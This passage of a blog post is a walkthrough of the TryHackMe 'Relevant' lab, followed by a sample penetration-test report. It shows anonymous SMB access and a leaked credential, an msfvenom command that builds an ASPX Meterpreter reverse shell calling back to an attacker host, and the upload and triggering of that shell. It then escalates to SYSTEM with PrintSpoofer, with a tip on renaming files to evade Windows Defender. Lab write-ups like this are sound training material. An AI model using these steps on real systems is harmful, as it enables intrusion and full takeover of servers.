src="https://cdn-images-1.medium.com/max/1024/1*rZfYrtL84Tb6_pexayedfQ.png" /></figure><p>Anonymous access works.</p><p>A share appears (example):</p><pre>nt4wrksv</pre><p>Connect to it:</p><pre>smbclient //&lt;target_ip&gt;/nt4wrksv -N</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZPF-9k6q10xRlTQpPt9s9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0CRWtNENOWsuN0TjuCdgQ.png" /></figure><p>Inside we find:</p><pre>passwords.txt</pre><h3>Decode credentials</h3><p>The file contains Base64 strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9E6wwIUk5wWdLJ2Qy5HkwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*8Ap-08QWGqlKWgMiw7CKiQ.png" /></figure><p>I attempted to log in using <strong>xfreerdp3</strong> with my credentials via RDP.y</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tj8wuU2UOoTHocsninUCAg.png" /></figure><p>Since I couldn&#39;t proceed, I moved to the next step.</p><h3>Web Enumeration</h3><p>Check the web servers.</p><p>Port <strong>80</strong></p><pre>http://target_ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*0HL37n9LWGvqwLBYI36LTA.png" /></figure><p>Just a default IIS page.</p><p>Check <strong>port 49663</strong>:</p><pre>http://target_ip:49663</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*pcUT1AfdGnc23-VfRr9LsA.png" /></figure><p>Run directory brute forcing:</p><pre>fuff -c http://target_ip:49663/FUZZ -w /usr/share/wordlists/seclists/Web-Content/raft-large-directories.txt -fc 403</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDJC9zhGuTN-CMe62gyLgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kMoSQ4cB3KfaFdA4-G-jdg.png" /></figure><p>Directory enumeration is not important for exploitation.</p><h3>3.Exploitation (Initial Access)</h3><p>Because the SMB share is writable, a web shell can be uploaded. SMBMAP was used to identify shared directories.</p><pre>smbmap -H 10.112.189.227 -u Bob -p &#39;!P@$$W0rD123&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QiQRrauxJ_ICzPOme0eTfQ.png" /></figure><h3>Generate ASPX reverse shell</h3><p>Example payload:</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&lt;your_ip&gt; LPORT=4444 -f aspx -o shell.aspx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cla0YIQ4bRrlcdmfduCnYQ.png" /></figure><pre>smbclient //&lt;target_ip&gt;/nt4wrksv -N<br>put exploit.aspx<br>exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jO_eYZsrHbDLoBaxttOcpg.png" /></figure><p><strong>Trigger the shell:</strong></p><pre>http://target_ip:49663/nt4wrksv/shell.aspx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z14oAyczaOb_Qc1rPpZsdg.png" /></figure><blockquote><strong>Start a listener:</strong></blockquote><pre>nc -lvnp 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*1Yn3oGGCK8ueMrNt2IGzDQ.png" /></figure><p>You get a <strong>Meterpreter shell</strong>. 🎯</p><p>This gives <strong>low-privilege access.</strong></p><h3>4.Privilege Escalation</h3><p>Now escalate privileges to <strong>SYSTEM</strong>.</p><h3>Check privileges</h3><p>Inside the shell:</p><pre>whoami /priv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQZWuc55Msh0iyjZ4U1eaw.png" /></figure><p><strong>You will see:</strong></p><pre>SeImpersonatePrivilege</pre><ul><li>As we can see there is a SeImpersonatePrevilige set to Enabled. We can use a tool called <a href="https://github.com/dievus/printspoofer">printspoofer</a> to get root privileges.</li><li>N:B — If upload fails due to Windows Defender, try renaming the file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W6pGxWVKgYqFznTfyzYc6A.png" /></figure><p>Download the tool and <strong>set up python server</strong> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pMMsSPmhZ21j0kR9fs-MFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j_6EgjhoiI3ApLn3iXrVWg.png" /></figure><p>Then when its uploaded to the target machine and I change the name back to PrintSpoofer.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*Fa3UJTYwkMjrL4SVQQt0oQ.png" /></figure><ul><li>Use <strong>PrintSpoofer.exe -i -c cmd</strong> to gain root access</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*wx_vWUn_TEd6TIA6HtwJKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*FhgFeIgaItYd8o2ZQ39ftw.png" /></figure><h3>Conclusion</h3><h3>🔑 Vulnerabilities Found</h3><ol><li><strong>Anonymous SMB access</strong></li><li><strong>Writable SMB share</strong></li><li><strong>Web server mapped to SMB directory</strong></li><li><strong>File upload vulnerability</strong></li><li><strong>Privilege escalation via SeImpersonatePrivilege</strong></li></ol><blockquote>I&#39;ve provided a detailed penetration report as requested in the Challenge.</blockquote><p>Below is a <strong>professional penetration testing report format</strong> for the Relevant challenge. This format mirrors how real <strong>cybersecurity consulting firms</strong> (e.g., Offensive Security or Rapid7) structure client pentest reports. It’s useful for <strong>portfolios, job interviews, and cybersecurity documentation</strong>.</p><h3>Penetration Testing Report</h3><h3>Client</h3><p>Internal Lab Environment — TryHackMe</p><h3>Test Type</h3><p>Black-Box Penetration Test</p><h3>Target</h3><p>Relevant Machine (Windows Server)</p><h3>Testing Date</h3><p>13/03/2026</p><h3>Tester</h3><p>Yoel Yosief</p><h3>1. Executive Summary</h3><p>The purpose of this penetration test was to evaluate the security posture of the Relevant Windows server by simulating the actions of an external attacker.</p><p>During testing, multiple vulnerabilities were identified that allowed an attacker to:</p><ul><li>Enumerate exposed services</li><li>Access an improperly secured SMB share</li><li>Upload malicious files to the web server</li><li>Execute a reverse shell</li><li>Escalate privileges to <strong>SYSTEM</strong></li></ul><p>The attack ultimately resulted in <strong>full system compromise</strong>, demonstrating that an attacker could gain administrative control over the target machine.</p><h3>2. Scope of Assessment</h3><p>Testing included:</p><ul><li>Network reconnaissance</li><li>Service enumeration</li><li>Exploitation</li><li>Privilege escalation</li><li>Post-exploitation analysis</li></ul><p>Denial-of-service attacks and persistence mechanisms were excluded from scope.</p><h3>3. Methodology</h3><p>The penetration test followed the <strong>five phases of penetration testing</strong> commonly used in security assessments and aligned with principles from OWASP and NIST.</p><h3>Phase 1 — Reconnaissance</h3><p>Information gathering to identify target services and system characteristics.</p><h3>Phase 2 — Scanning and Enumeration</h3><p>Service discovery and deeper enumeration of exposed services.</p><h3>Phase 3 — Exploitation</h3><p>Attempting to gain initial system access.</p><h3>Phase 4 — Privilege Escalation</h3><p>Escalating privileges from low-level user to administrator.</p><h3>Phase 5 — Post-Exploitation</h3><p>Accessing sensitive data and confirming full system compromise.</p><h3>4. Tools Used</h3><blockquote>Nmap — Port scanning</blockquote><blockquote>Dirsearch — Directory enumeration</blockquote><blockquote>Metasploit — Exploitation</blockquote><blockquote>Netcat- Reverse shell listener</blockquote><blockquote>PrintSpoofer — Privilege escalation</blockquote><blockquote>SMBclient — SMB share access</blockquote><h3>5. Findings</h3><h3>Finding 1 — Anonymous SMB Share Access</h3><h3>Severity</h3><p>Medium</p><h3>Description</h3><p>The SMB service allowed anonymous access to a shared directory. Attackers could list and access files without authentication.</p><h3>Evidence</h3><pre>smbclient -L //&lt;target_ip&gt;/ -N</pre><h3>Impact</h3><p>An attacker can enumerate internal files and potentially upload malicious files if write permissions exist.</p><h3>Recommendation</h3><ul><li>Disable anonymous SMB access</li><li>Require authentication for network shares</li></ul><h3>Finding 2 — Writable SMB Share Mapped to Web Directory</h3><h3>Severity</h3><p>High</p><h3>Description</h3><p>The SMB share was mapped directly to a web server directory, allowing attackers to upload executable files accessible through the web interface.</p><h3>Evidence</h3><p>Directory discovered via:</p><pre>http://target_ip:49663/nt4wrksv</pre><h3>Impact</h3><p>Attackers can upload malicious scripts to execute code on the server.</p><h3>Recommendation</h3><ul><li>Restrict file upload permissions</li><li>Separate file shares from web root directories</li></ul><h3>Finding 3 — Remote Code Execution via Web Shell</h3><h3>Severity</h3><p>Critical</p><h3>Description</h3><p>A malicious ASPX reverse shell was uploaded to the writable SMB share and executed through the web server.</p><h3>Evidence</h3><p>Payload generated using:</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp -f aspx -O shell.aspx</pre><h3>Impact</h3><p>Attackers can obtain remote shell access to the system.</p><h3>Recommendation</h3><ul><li>Disable script execution in shared directories</li><li>Implement file upload filtering</li></ul><h3>Finding 4 — Privilege Escalation via SeImpersonatePrivilege</h3><h3>Severity</h3><p>Critical</p><h3>Description</h3><p>The compromised account possessed the <strong>SeImpersonatePrivilege</strong>, which allowed escalation to SYSTEM using PrintSpoofer.</p><h3>Evidence</h3><pre>whoami /priv</pre><p>Exploit executed:</p><pre>PrintSpoofer.exe</pre><h3>Impact</h3><p>Complete system compromise.</p><h3>Recommendation</h3><ul><li>Restrict privilege assignments</li><li>Apply Windows security patches</li><li>Monitor suspicious privilege usage</li></ul><h3>6. Attack Path</h3><pre>Nmap Scan<br>↓<br>SMB Enumeration<br>↓<br>Writable Share Discovery<br>↓<br>Web Shell Upload<br>↓<br>Remote Access<br>↓<br>Privilege Escalation (PrintSpoofer)<br>↓<br>SYSTEM Access</pre><h3>7. Proof of Compromise</h3><h3>User Flag Location</h3><pre>C:\Users\Bob\Desktop\user.txt</pre><h3>Root Flag Location</h3><pre>C:\Users\Administrator\Desktop\root.txt</pre><h3>9. Conclusion</h3><p>The assessment demonstrated that the Relevant machine contained several critical security misconfigurations. By chaining multiple vulnerabilities together, an attacker was able to escalate from unauthenticated access to full SYSTEM control.</p><p>Addressing the identified vulnerabilities will significantly improve the system’s security posture and reduce the risk of unauthorized access.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6aefc76c9095" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>